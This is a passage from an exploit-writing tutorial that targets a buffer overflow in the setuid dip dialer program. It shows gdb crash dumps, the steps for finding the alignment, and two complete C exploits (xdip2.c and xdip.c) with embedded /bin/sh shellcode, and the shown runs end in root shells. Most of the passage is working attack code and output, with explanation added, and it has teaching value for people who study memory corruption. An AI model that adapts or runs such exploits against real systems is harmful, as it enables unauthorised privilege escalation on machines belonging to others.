Starting program: /usr/sbin/dip -k -l `perl -e 'print "ABCD" x 30'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open
/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory

Program received signal SIGSEGV, Segmentation fault.
0x444342 in ?? ()
(gdb)
(gdb) i r
eax            0xb4     180
ecx            0xb4     180
edx            0x0      0
ebx            0x1      1
esp            0xbffffcd4       0xbffffcd4
ebp            0x41444342       0x41444342
esi            0x4      4
edi            0x805419e        134562206
eip            0x444342 0x444342
eflags         0x10246  66118
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x2b     43
gs             0x2b     43
(gdb)

As you can see here, the stack pointer (ESP) and the saved return address has
been overwritten by our string "ABCD". In Ascii;
	A  is 0x41, B is 0x42, C is 0x43, D is 0x44

Note the base pointer register, it's:

ebp            0x41444342       0x41444342

The value here is ADCB. That means we could't align the string. We need to shift
the string one byte left so that the ABCD fits one 4-byte memory cell. This
way:

(gdb) set args -k -l A`perl -e 'print "ABCD" x 30'`
(gdb) r
Starting program: /usr/sbin/dip -k -l A`perl -e 'print "ABCD" x 30'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open
/var/lock/LCK..AABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory

Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()
(gdb) i r
eax            0xb5     181
ecx            0xb5     181
edx            0x0      0
ebx            0x1      1
esp            0xbffffcd4       0xbffffcd4
ebp            0x44434241       0x44434241
esi            0x4      4
edi            0x805419e        134562206
eip            0x44434241       0x44434241
eflags         0x10246  66118
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x2b     43
gs             0x2b     43
(gdb)

As you can see, we added one more A to the beginning of our buffer, and now both 
the EIP and EBP registers are: 0x44434241, namely we could align our string. 

I'll write two exploits. Each one will be with a different method. The first
one will be the "classical technique" and the other one will be env technique.
When you compare the two, you'll easily see the difference between, and
understand it is unnecessary to try to guess strange offsets. Please be aware
that env method is only useful if the vulnerability is local.

Here is the one with the Classical Method:

----------------------------- xdip2.c -----------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUF 130
#define NOP 0x90
#define ALIGN 1

char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

unsigned long getesp()
{
        __asm__("movl %esp, %eax");
}

void main(int argc, char *argv[])
{
        int ret, i, n;
        char *arg[5], buf[BUF];
        int *ap;

        if (argc < 2)
                ret = 0xbfffd779;
        else
                ret = getesp() - atoi(argv[1]);

        ap = (int *)(buf + ALIGN);

        for (i = 0 ; i < BUF; i += 4)
                *ap++ = ret;

        for (i = 0; i < BUF / 2; i++)
                buf[i] = NOP;

        for (n = 0; n < strlen(sc); n++)
                buf[i++] = sc[n];

        arg[0] = "/usr/sbin/dip";
        arg[1] = "-k";
        arg[2] = "-l";
        arg[3] = buf;
        arg[4] = NULL;

        execve(arg[0], arg, NULL);
	perror(execve);
}
----------------------------- xdip2.c -----------------------------------

Lemme go over the exploit:

We define our buffer to be 130 bytes long, because a 121 byte array is enough
for us, define the opcode for NULL operation instruction to be 0x90, and
Alignment to be 1. Remember what we did above to find the alignment?
#define BUF 130
#define NOP 0x90
#define ALIGN 1

You already know below is our shell spawning code:
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

This routine returns the value of Stack pointer. As I told you before, this is
not the vulnerable program's ESP. It's our exploits ESP, and we use this value
just to have an idea of where in memory the stack pointer of the vulnerable
program might be. It's just to have a range in mind:

unsigned long getesp()
{
        __asm__("movl %esp, %eax");
}

Our main():
arg[5] is for execve(), buf[] is what we'll feed the vulnerable buffer with.
*ap (stands for address pointer) is to play with the address of buf[].

void main(int argc, char *argv[])
{
        int ret, i, n;
        char *arg[5], buf[BUF];
        int *ap;

If the "exploit user" enters some value as an offset, we subtract that value
from the "hint esp", if not we use 0xbfffd779 as the address of shellcode. I
found this address while playing with dip in gdb. It's a pre-known value.
        if (argc < 2)
                ret = 0xbfffd779;
        else
                ret = getesp() - atoi(argv[1]);

We make the address pointer to point to the  buf + ALIGNMENT address:
        ap = (int *)(buf + ALIGNMENT);

After we aligned our buffer, we first place the return address into the whole
buffer:
        for (i = 0 ; i < BUF; i += 4)
                *ap++ = ret;

We pad some NULL operation instructions to the first half of the buffer:
        for (i = 0; i < BUF / 2; i++)
                buf[i] = NOP;

After NOPS, we place our shellcode:
        for (n = 0; n < strlen(sc); n++)
                buf[i++] = sc[n];

We prepare the arguments array for execve() read the manual page for execve if
you cannot understand this:
        arg[0] = "/usr/sbin/dip";
        arg[1] = "-k";
        arg[2] = "-l";
        arg[3] = buf;
        arg[4] = NULL;

Note above that we supply buf to the -l switch.

Then we execve(), if an error occurs, we get the error via perror():
        execve(arg[0], arg, NULL);
        perror(execve);

}

Let's run:

[murat@victim murat]$ make xdip2
[murat@victim murat]$ ./xdip2
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open /var/lock/LCK..sh#
[murat@victim murat]$ make xdip2
make: `xdip2' is up to date.
[murat@victim murat]$ ./xdip2
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open /var/lock/LCK..
bash#

If we didn't know the exact address, we needed to guess offsets. Let's
assume that we don't know the address:

Let's first try -400 as offset:

[murat@victim murat]$ ./xdip2 -400
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~~P~P~P~P~P~P~P~P
~P~P~P~P~P~~P~P~P~P~P

ûÿ: No such file or directory
Segmentation fault
[murat@victim murat]$

Uh-uh, lets try -350:

[murat@victim murat]$ ./xdip2 -350
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~~P~P~P~P~P~P~P~P
~P~P~P~P~P~~P~P~P~P~P

ûÿ: No such file or directory
Illegal Instruction
[murat@victim murat]$

Let's make another guess:

[murat@victim murat]$ ./xdip2 -300
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~~P~P~P~P~P~P~P~P
~P~P~P~P~P~~P~P~P~P~P
ûÿ: No such file or directory
bash#

Voila! 

However,as you can see, guessing the correct offset can be very tiresome.

Now the env method:

--------------------------------------- xdip.c -------------------------
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define BUFSIZE 221
#define ALIGNMENT 1

char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

void main()
{
        char *env[3] = {sc, NULL};
        char buf[BUFSIZE];
        int i;
        int *ap = (int *)(buf + ALIGNMENT);
        int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip");

        for (i = 0; i < BUFSIZE - 4; i += 4)
                *ap++ = ret;

        execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);
}

--------------------------------------- xdip.c -------------------------

Lemme go over the exploit:

Our main(). We have an array of character pointers. Because we can calculate
the address of environment pointers, we put the shellcode to first environment
variable's place. 

void main()
{
        char *env[2] = {sc, NULL};
        char buf[BUFSIZE];
        int i;

Address pointer points to the aligned address of buffer:
        int *ap = (int *)(buf + ALIGNMENT);

We calculate the address of our shellcode. For details about how we calculate
the address, see above:
        int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip");

Starting from the aligned first address of buffer, we put the address of
shellcode's calculated address. We increase i by four, because when we
increase a pointer by one, it means we increase it by four bytes:
        for (i = 0; i < BUFSIZE - 4; i += 4)
                *ap++ = ret;

Then we execle() the vulnerable program:
        execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);
}

Because there are no tries and no guesses, in the first try, we get root!:

[murat@victim murat]$ ./xdip
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open
/var/lock/LCK..hÕÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ¿Õÿÿ:
No such file or directory
bash#

So, the basic differences between those two methods can be listed as:

Item			Aleph1's method		env method
--------------------  ---------------------  ------------------------
vulnerable buffer     half of the buffer is  the whole buffer is filled
		      filled by NOPs, then   with address.
                      the shellcode, then    
                      the address.

placement of sc	we place sc in the     we place the sc in env ptr
		      vulnerable buffer      that is passed to execve()

sc's address	      we try to guess the    we *know* the address of sc
                      address of sc

small buffers	      if sc doesn't fit      Since we already don't place
                      in the buffer, hard    the sc in the buffer, it does
                      to exploit. You'll     not matter. Just 4 bytes is
                      need to guess the addr enough!
                      of env ptr, if you
                      choose to put sc in
                      env ptr.

Diffic. Level	      somewhat harder	     easier!